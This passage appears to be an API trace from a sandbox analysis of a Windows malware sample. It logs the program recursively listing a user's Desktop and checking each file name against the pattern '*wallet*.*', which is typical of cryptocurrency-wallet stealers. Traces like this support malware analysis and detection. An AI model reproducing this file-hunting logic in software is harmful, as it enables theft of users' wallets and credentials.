lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi" [0146.650] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.650] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.650] lstrcatW (in: lpString1="\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="\\F3Jg6iOM3u.avi") returned="\\F3Jg6iOM3u.avi" [0146.650] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0146.650] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2e) returned 0x33400d0 [0146.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x33400d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", lpUsedDefaultChar=0x0) returned 46 [0146.650] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.651] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.651] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.651] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ea0 [0146.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.651] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340498 [0146.651] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ea0 | out: hHeap=0x2360000) returned 1 [0146.651] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*wallet*.*") returned 0 [0146.651] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340498 | out: hHeap=0x2360000) returned 1 [0146.651] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e3e340, ftCreationTime.dwHighDateTime=0x1d7a455, ftLastAccessTime.dwLowDateTime=0xbaf238a0, ftLastAccessTime.dwHighDateTime=0x1d7afa5, ftLastWriteTime.dwLowDateTime=0xbaf238a0, ftLastWriteTime.dwHighDateTime=0x1d7afa5, nFileSizeHigh=0x0, nFileSizeLow=0xc22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPDreaGbTfCfnUb6R.odt", cAlternateFileName="FPDREA~1.ODT")) returned 1 [0146.651] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.651] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.652] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt" [0146.652] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.652] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.652] lstrcatW (in: lpString1="\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="\\FPDreaGbTfCfnUb6R.odt") returned="\\FPDreaGbTfCfnUb6R.odt" [0146.652] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0146.652] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x35) returned 0x32bada0 [0146.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x32bada0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", lpUsedDefaultChar=0x0) returned 53 [0146.652] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba540 [0146.652] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bada0 | out: hHeap=0x2360000) returned 1 [0146.652] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.652] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e00 [0146.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.652] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.652] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e00 | out: hHeap=0x2360000) returned 1 [0146.652] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*wallet*.*") returned 0 [0146.652] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.653] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba540 | out: hHeap=0x2360000) returned 1 [0146.653] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0e5e90, ftCreationTime.dwHighDateTime=0x1d7a824, ftLastAccessTime.dwLowDateTime=0xdedaeb90, ftLastAccessTime.dwHighDateTime=0x1d7aee2, ftLastWriteTime.dwLowDateTime=0xdedaeb90, ftLastWriteTime.dwHighDateTime=0x1d7aee2, nFileSizeHigh=0x0, nFileSizeLow=0x7e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKYuSUka3xSoq c.swf", cAlternateFileName="GKYUSU~1.SWF")) returned 1 [0146.653] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.653] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.653] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf" [0146.653] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.653] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.653] lstrcatW (in: lpString1="\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="\\gKYuSUka3xSoq c.swf") returned="\\gKYuSUka3xSoq c.swf" [0146.653] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.653] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32bafe0 [0146.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x32bafe0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", lpUsedDefaultChar=0x0) returned 51 [0146.653] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba618 [0146.653] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bafe0 | out: hHeap=0x2360000) returned 1 [0146.653] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.654] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340f00 [0146.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340f00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.654] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0146.654] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f00 | out: hHeap=0x2360000) returned 1 [0146.654] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*wallet*.*") returned 0 [0146.654] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0146.654] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0146.654] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2508dd60, ftCreationTime.dwHighDateTime=0x1d7addb, ftLastAccessTime.dwLowDateTime=0x90e93950, ftLastAccessTime.dwHighDateTime=0x1d7adf7, ftLastWriteTime.dwLowDateTime=0x90e93950, ftLastWriteTime.dwHighDateTime=0x1d7adf7, nFileSizeHigh=0x0, nFileSizeLow=0xe1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5qh6eqm.pdf", cAlternateFileName="")) returned 1 [0146.654] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.654] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.654] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="h5qh6eqm.pdf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf" [0146.654] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.654] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.654] lstrcatW (in: lpString1="\\", lpString2="h5qh6eqm.pdf" | out: lpString1="\\h5qh6eqm.pdf") returned="\\h5qh6eqm.pdf" [0146.654] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.654] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x33400d0 [0146.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", lpUsedDefaultChar=0x0) returned 44 [0146.654] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.654] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.655] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.655] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e60 [0146.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.655] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0146.655] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0146.655] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*wallet*.*") returned 0 [0146.655] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0146.655] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.655] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hf4qcXfqlQUQtaJUeRB3", cAlternateFileName="HF4QCX~1")) returned 1 [0146.655] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.655] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.655] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.655] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.655] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.656] lstrcatW (in: lpString1="\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.656] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2=".") returned 1 [0146.656] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2="..") returned 1 [0146.656] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.656] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*" [0146.656] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.656] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.656] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.656] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.656] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.656] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.656] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.657] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.657] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.657] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.657] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.657] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.657] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.657] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.657] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.657] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.657] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddda2880, ftCreationTime.dwHighDateTime=0x1d7ace1, ftLastAccessTime.dwLowDateTime=0x68d42070, ftLastAccessTime.dwHighDateTime=0x1d7ad6a, ftLastWriteTime.dwLowDateTime=0x68d42070, ftLastWriteTime.dwHighDateTime=0x1d7ad6a, nFileSizeHigh=0x0, nFileSizeLow=0x1db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4W5ZA5pn.mkv", cAlternateFileName="")) returned 1 [0146.657] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.657] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.657] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.657] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.657] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.657] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.658] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0146.658] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x32bb838 [0146.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x32bb838, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", lpUsedDefaultChar=0x0) returned 65 [0146.658] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362af0 [0146.658] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb838 | out: hHeap=0x2360000) returned 1 [0146.658] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.658] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340bc0 [0146.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 